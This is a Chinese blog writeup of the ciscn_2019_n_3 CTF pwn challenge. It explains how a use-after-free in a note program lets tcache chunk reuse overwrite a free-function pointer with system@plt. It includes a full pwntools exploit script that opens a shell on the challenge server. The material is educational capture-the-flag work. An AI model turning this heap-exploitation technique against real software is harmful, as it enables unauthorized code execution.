ciscn_2019_n_3 Writeup

原创

Champa9ne 已于 2022-03-05 16:17:29 修改 266 收藏

文章标签： pwn

于 2021-05-10 19:25:52 首次发布

本文链接：https://blog.csdn.net/Calllin/article/details/116606708

前提

- 本程序中的释放堆块后未对堆块指针置空，从而可能引发UAF。
- 程序本身带有函数`system()`，可以直接使用`system@plt`的方式使用该函数。
- 涉及堆块结构的代码如下下文所示，第一种块大小固定位0x10（0x11），有一种块大小可控，最大为0x400。

```
//当堆块结构是integer时
*(_DWORD *)v3 = rec_int_print;
*(_DWORD *)(v3 + 4) = rec_int_free;
*(_DWORD *)(v3 + 8) = ask("Value");

//当堆块结构是text时
*(_DWORD *)v3 = rec_int_print;
*(_DWORD *)(v3 + 4) = rec_int_free;
*(_DWORD *)(v3 + 8) = malloc(size);  //    *(_DWORD *)(v3 + 8) = malloc(size);

//text中的chunk相关
fgets(*(char **)(v3 + 8), size, stdin);

//其他函数
int __cdecl rec_int_print(int v3){
  return printf("Note(Type=Integer, Value=%d)\n", *(_DWORD *)(v3 + 8));}

int __cdecl rec_int_free(void *ptr){
  free(ptr);
  return puts("Note freed!");}
```

思路

- 申请三个类型为integer的块0、1、2。大小为固定的0x10。
- 释放块0、1。
- 重新申请一个类型为text的块，大小指定为0xc以下。按照tcache bin先进先出的结构，bin中的块1与0被依此分配，且可以对块1进行写操作，让指定位置的内容被覆盖为指定的内容。
  - 对块0的`*(_DWORD *)v3`区域覆盖数据为`sh/0/0`。这是因为长度不足以输入`/bin/sh`，且要考虑程序流程引发的`\a`。
  - 对块0的`(_DWORD *)(v3 + 4)`区域覆盖数据为`system@plt`。
- 释放块0即可获得shell。
  - 这是因为本程序的释放操作是使用指定块的`(_DWORD *)(v3 + 4)`区域内的自定函数完成的。该函数的结构如上文所示。

完整exp

```python
from pwn import *

context.log_level = "debug"
io = remote("node3.buuoj.cn",27237)
elf = ELF("./n_3_ciscn_2019")

def _new(index,_type,_value,_lenth=0):
    io.sendlineafter("4. Purchase Pro Edition\nCNote > ",'1')
    io.sendlineafter("Index > ",str(index))
    io.sendlineafter("Type > ",str(_type))
    if _type == 1:
        io.sendlineafter("Value > ",str(_value))
    else:
        io.sendlineafter("Length > ",str(_lenth))
        io.sendlineafter("Value > ",_value)

def _del(Index):
    io.sendlineafter("4. Purchase Pro Edition\nCNote > ",'2')
    io.sendlineafter("Index > ",str(Index))

payload = b'sh\0\0' + p32(elf.symbols['system'])

_new(0,1,1)
_new(1,1,1)
_new(2,1,1)
_del(0)
_del(1)
_new(3,2,payload,0xc)
_del(0)

io.interactive()
```